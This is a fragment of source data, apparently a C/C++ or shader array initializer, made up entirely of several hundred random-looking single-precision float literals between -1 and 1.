0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, -0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
0.0694373671332735f, 0.759953164582251f, -0.0973030480378387f, -0.298615297250225f, 0.0176506580013247f, -0.269562553201540f, -0.405489169051539f, -0.00491991297033256f, -0.0327449030548885f, -0.688168836745951f, 0.703014457338754f, -0.0909491575673764f, 0.738417882180070f, 0.202377973915515f, 0.338436193625848f, -0.408790267504483f, 0.611776208408261f, -0.711043784659083f, 0.841495665411188f, -0.0445715899008592f, -0.127281559164749f, -0.778797832908623f, 0.210344625249896f, 0.287086540530447f, -0.703702357088620f, -0.151146112491418f, -0.785180444786487f, 0.427963227387140f, 0.873814130606035f, -0.344356753075357f, -0.755726746591465f, 0.846013365191461f, 0.126678120904524f, 0.166687962199295f, -0.148273386834835f, -0.770559345875477f, -0.999129219024862f, -0.223692721084046f, -0.652712854614213f, 0.468054498362978f, -0.911782175948953f, 0.555084850374905f, 0.103972972463380f, -0.414021910330282f, 0.938793897617340f, 0.515461292224815f, -0.127677414947037f, 0.510661477088580f, 0.898409443447962f, 0.528096097102698f, -0.444620870908750f, -0.275909952832928f, -0.516074838791812f, 0.110104492330694f, -0.293114842926621f, -0.596621371059734f, 0.152807456749103f, -0.592864305196648f, 0.948295231208874f, -0.575278847840010f, -0.312463646261757f, 0.664597237604897f, -0.177619554099550f, -0.932259652303036f, -0.295074750863924f, 0.731539128777660f, 0.860409131570119f, -0.0947206503071862f, 0.106073387018718f, -0.235389180430490f, -0.494787189603633f, -0.536357147973158f, -0.680862001049455f, 0.618979489665256f, 0.613893487415732f, -0.308605775713246f, 0.694789556987429f, -0.440049894326668f, 0.908690328690240f, 0.233612239829512f, -0.190662564463532f, -0.344799878911344f, -0.185877286582818f, -0.553543917790750f, -0.859543533414720f, -0.996044831818542f, 0.0388505104043095f, 0.650508591477642f, -0.425233346101631f, -0.576839967180874f, 0.378730359294024f, 0.531713629917424f, 0.506096660522796f, 0.854779196325727f, 0.725302682547051f, -0.414685510902716f, 0.654208477287561f, 0.580368151427426f, -0.000356066597174687f, -0.897393734991154f, -0.845565244312410f, 0.615044057364182f, 0.0434592638759266f, 0.342119048500289f, -0.696414680186901f, -0.713269554140146f, -0.580866925323696f, -0.290886355957456f, -0.473082507703548f, 0.517942229000179f, -0.846159512055215f, -0.715410253368047f, -0.526272663742330f, 0.114004124940380f, -0.207397773975621f, -0.920379649009572f, -0.277970833475531f, -0.636533427057722f, -0.972531734576472f, -0.687000156900366f, 0.872752357637196f, 0.617872391924648f, -0.835274231587444f, -0.383282792481497f, 0.399233665040770f, -0.191230601890140f, 0.620222785371960f, 0.106379326744619f, 0.987222511696630f, 0.219022023664391f, 0.179689082166371f, -0.961619514581522f, 0.570178582343486f, -0.811091514477978f, 0.924484469376845f, 0.744507591138529f, 0.272936430096096f, 0.0646316580619510f, 0.314005111302676f, 0.558833629327024f, -0.329744916784918f, -0.544045568909541f, 0.895769679770795f, 0.798125821580789f, 0.877473384028199f, 0.616163339432501f, 0.441057381106904f, -0.642498173762053f, 0.989059595616979f, -0.374771110304453f, 0.480877593471524f, 0.904941689893360f, 0.428742160807762f, -0.430483645585549f, 0.0830560957640680f, 0.694220841170708f, -0.602964792788891f, -0.522672782287498f, 0.717494777479591f, -0.918002255923909f, -0.454075191574169f, -0.378662039464110f, 0.221482629450150f, 0.750918040362614f, -0.636211037178780f, -0.254529141198887f, -0.944623201010144f, -0.720775773991847f, -0.674641067104323f, -0.208243950413264f, -0.959488786545901f, -0.619966503980330f, 0.599486634018692f, -0.0955439064236721f, -0.458181000169795f, 0.736914498713083f, -0.176789993854223f, 0.676652697410790f, -0.967275583857650f, 0.319377813603719f, -0.427030468653864f, 0.0670640089595258f, 0.769945699222976f, 0.767923203047440f, 0.985790354694142f, -0.207111795449682f, 0.219134401666738f, 0.548513609112215f, 0.977227384558063f, -0.198131173309759f, 0.914163808432723f, 0.178214485462450f, -0.240590252223318f, 0.356128697574950f, 0.453093488702627f, -0.0401152114159198f, 0.818060948361957f, -0.880551400213416f, 0.631519794065582f, 0.658832307703964f, -0.179752451562622f, -0.237844011105596f, 0.739834592198990f, 0.711355594921083f, 0.774856912009109f, 0.321864249971600f, 0.470574585274056f, 0.261964793641569f, -0.634481134262705f, 0.461363065389595f, 0.0879014163867016f, 0.698353456328335f, 0.0611830044908546f, 0.918599000791453f, -0.147822590771951f, -0.208296009525534f, 0.775436805889909f, 0.0380914463017457f, -0.954468558268744f, -0.620451283908529f, -0.770251739379244f, 0.772246778681563f, 0.326462458587915f, 0.417738473564738f, 0.0942643452092895f, 0.486153909005530f, -0.720202618855819f, 0.0172425211828453f, -0.460430186764708f, -0.582933725313246f, -0.439721219285309f, -0.694337374508112f, 0.493516461453915f, -0.993527345413430f, -0.562763570629586f, -0.0644937992008268f, 0.741476357523546f, -0.668588797988340f, 0.594184164979780f, -0.605220767543645f, 0.110074204567278f, -0.599398769115359f, 0.723882026196765f, 0.678747828159456f, -0.608589528492249f, -0.881419419882399f, -0.139357674240927f, 0.873828011683502f, 0.314798068434754f, -0.457017849147976f, -0.526003289738433f, -0.411404919696823f, -0.792254466556923f, -0.299635866135236f, 0.0102316480137963f, 0.161921266554201f, 0.981427028530907f, -0.647351555346480f, -0.183312260273700f, -0.348651484808239f, -0.198142718294920f, 0.589869434168343f, -0.201926511662287f, 0.0337896878721506f, -0.0276515055864679f, 0.236943449722327f, -0.473103622922213f, 0.954358213176107f, -0.536519478008862f, -0.603363977756898f, 0.776267386457251f, 0.780662223932714f, 0.289187291033147f, -0.439954328280331f, 0.0429585232791456f, 0.457321950803212f, 0.236810565417317f, 0.167393310927116f, 0.634521586990289f, 0.154409349572581f, -0.750588956901316f, 0.862647670558265f, 0.800182258889404f, -0.342011510602950f, -0.102697321575297f, -0.797254530582515f, -0.718599505627591f, -0.729105921762328f, -0.152424255231618f, -0.702781451563249f, -0.0212710413372206f, 0.961258625954530f, -0.598484979483616f, 0.188043416567111f, -0.511990501189325f, -0.437449883017104f, -0.352443017251219f, 0.0991554004559394f, -0.663282401319921f, -0.835139403797870f, 0.587602722898819f, -0.939771062270554f, 0.613878515061637f, -0.523857415147229f, 0.444842501987166f, -0.297001528475358f, -0.914581150341453f, 0.554844832376064f, -0.816400014706997f, 0.823726509832068f, 0.704425080572720f, -0.819397910034912f, 0.999003444973468f, -0.968751535943602f, 0.0311500939174130f, 0.247867291448898f, 0.835560943875924f, 0.169794916341582f, -0.302041142019408f, 0.289549413666482f, 0.672141268085176f, 0.947060095876251f, 0.324754171403184f, 0.800014020753458f, -0.785428883146460f, -0.463092135879982f, 0.659192831110219f, 0.118301326248760f, -0.542297334341874f, -0.335957421787428f, 0.794808066256455f, 0.625133567458879f, 0.227917183877260f, 0.533557157748932f, -0.948877884679630f, 0.186417887458649f, 0.859592912781013f, -0.0183320237921572f, 0.967066787435574f, -0.141349529637213f, 0.958107445094614f, 0.264359167622140f, -0.631325355674829f, 0.684598042547604f, -0.527467468151933f, 0.294659298854560f, -0.439220168509424f, 0.391038218778621f, 0.0155669207052447f, -0.681384294454809f, 0.146739459198561f, -0.756404876084652f, 0.381192113543008f, 0.442850940158445f, 0.964002016096921f, -0.0507253848694798f, 0.563462880019551f, 0.190980650425415f, 0.482598778123453f, -0.273426091300166f, 0.980640722167518f, 0.198298590133615f, 0.678100193958147f, 0.530416610025615f, 0.196483886579908f, -0.00515783872303177f, 0.0273438459465027f, -0.257248394117661f, -0.576964504105195f, -0.331030677719652f, 0.389178134459083f, 0.0714066784585938f, 0.915179137858455f, 0.529738860096996f, -0.0851681338619263f, -0.692212896293625f, 0.0786352959300358f, -0.122712774017974f, -0.154641019547052f, -0.487537192251297f, 0.0435645872670241f, 0.856938631597551f, 0.351874085305670f, 0.708100804109985f, -0.701200509799317f, 0.0804479422214388f, -0.0794375302823220f, 0.543751723132725f, 0.346144383452864f, -0.680373368944156f, -0.572281173045994f, 0.237981706511708f, 0.0671482960376590f, 0.852393956008547f, -0.301262907769845f, 0.523762878044853f, 0.0885512158718469f, 0.885168455552951f, -0.333351382431635f, -0.914187358461713f, 0.657220242471575f, 0.202238670865175f, -0.660684692864216f, 0.641271628674064f, 0.795923699912913f, -0.332641448887164f, -0.297595219329770f, 0.427283618553541f, 0.601893958036382f, 0.355248259075043f, -0.420766820174961f, 0.355159952778514f, -0.806733697216087f, -0.694403711049608f, -0.719250654428532f, 0.580487742419744f, 0.959156165420351f, -0.941898541689400f, 0.960568821753178f, 0.119007749103819f, -0.973468502734443f, -0.627534816021182f, 0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 